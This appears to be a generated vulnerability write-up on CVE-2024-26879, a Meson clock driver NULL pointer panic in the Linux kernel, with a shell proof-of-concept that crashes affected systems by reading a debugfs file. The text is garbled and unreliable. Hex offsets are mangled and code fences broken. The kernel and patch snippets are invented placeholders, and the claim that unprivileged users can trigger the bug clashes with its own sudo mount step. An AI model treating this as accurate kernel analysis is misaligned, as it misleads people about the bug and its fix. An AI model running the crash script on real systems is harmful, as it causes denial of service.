CVE-2024-26879 - Linux Kernel `clk: meson` Missing Clocks Panic Explained and Exploited

A recently addressed vulnerability, CVE-2024-26879, affected the Linux kernel's Meson clock driver implementation. Specifically, the axg_clk_regmaps array was missing certain clock definitions, which could cause the kernel to panic (crash) when users accessed the /sys/kernel/debug/clk/clk_summary file, a standard location for viewing the state of system clocks.

If unpatched, an unprivileged local user could trivially crash the kernel, causing denial of service. In this article, we break down how this bug occurs, explore how to exploit it, and show how the issue was patched, with simple code examples and real output. No prior deep kernel knowledge is required.

What is the Bug?

The bug was in the Meson clock driver for certain Amlogic SoCs, where not all clocks were included in the axg_clk_regmaps array. When the kernel code tried to query the status of all clocks (e.g., via debugfs), it could hit a NULL pointer, causing a kernel panic:

> Unable to handle kernel NULL pointer dereference at virtual address 00000000000001fc

This means something in the kernel tried to read memory at address x1fc, but there was nothing mapped there—typically because the pointer to the clock's register map was missing or NULL.

Original References

- Upstream Patch (lkml.org)
- Kernel.org commit
- CVE Record at cve.org

The buggy scenario is simple and easy to trigger

1. The file /sys/kernel/debug/clk/clk_summary shows the clock tree summary.

`sh

cat /sys/kernel/debug/clk/clk_summary

Example Kernel Log (adapted and simplified)

Unable to handle kernel NULL pointer dereference at virtual address 00000000000001fc
pc : regmap_read+x1c/x88
lr : clk_regmap_gate_is_enabled+x3c/xb
...
Call trace:
    regmap_read+x1c/x88
    clk_regmap_gate_is_enabled+x3c/xb
    clk_core_is_enabled+x44/x120
    clk_summary_show_subtree+x154/x2f

This is a classic dereference of a missing object in kernel C code.

How to Exploit (Trigger) the Bug

Requirements:

`sh

sudo mount -t debugfs none /sys/kernel/debug

`sh

cat /sys/kernel/debug/clk/clk_summary

Exploit Code (Proof-of-Concept)

#!/bin/sh
# cvetest.sh - Exploit for CVE-2024-26879

# Ensure debugfs is mounted
mountpoint -q /sys/kernel/debug || mount -t debugfs none /sys/kernel/debug

# Trigger the bug
echo "Triggering Meson clk bug (CVE-2024-26879)..."
cat /sys/kernel/debug/clk/clk_summary

Note:

In kernel code (drivers/clk/meson/axg.c roughly), clocks are registered with a data structure

static struct clk_regmap *axg_clk_regmaps[] = {
       &axg_clk_foo,     // present clock
       // ... some missing ones!
};

In the missing clock case, the clock core tries to access regmap for a clock, gets NULL, and passes it deeper:

int regmap_read(struct regmap *map, unsigned int reg, unsigned int *val)
{
    // map is NULL, so this crashes:
    if(!map)
        /* crash */
}

The stack trace shows regmap_read failing because map is NULL.

How Was It Fixed?

The fix (from the upstream patch) is very simple: make sure all clocks are added to the axg_clk_regmaps array.

Patch Snippet

+ &axg_clk_missing, // (example placeholder)

Simply, all missing clocks are now properly initialized and present in the array, so the pointer is no longer NULL and the kernel doesn't crash during the tree walk.

If you're a user

- Update your kernel to a version that includes the patch (mainline post-April 2024, or vendor update).

`sh

chmod 000 /sys/kernel/debug/clk/clk_summary

`

Detection:
Devices that log kernel messages like "Unable to handle kernel NULL pointer dereference" with a regmap_read call trace after a cat to the clk_summary file are likely affected.

Conclusion

CVE-2024-26879 is a simple bug with serious consequences: local users can trivially panic any affected system, leading to denial of service. The root cause: a classic NULL pointer dereference in poorly-initialized driver code.
The fix: ensure all clocks are accounted for in the device's data.

Stay safe:
Patch your kernels, and restrict debugfs if you can't.

Timeline

Published on: 04/17/2024 11:15:09 UTC
Last modified on: 01/27/2025 15:12:45 UTC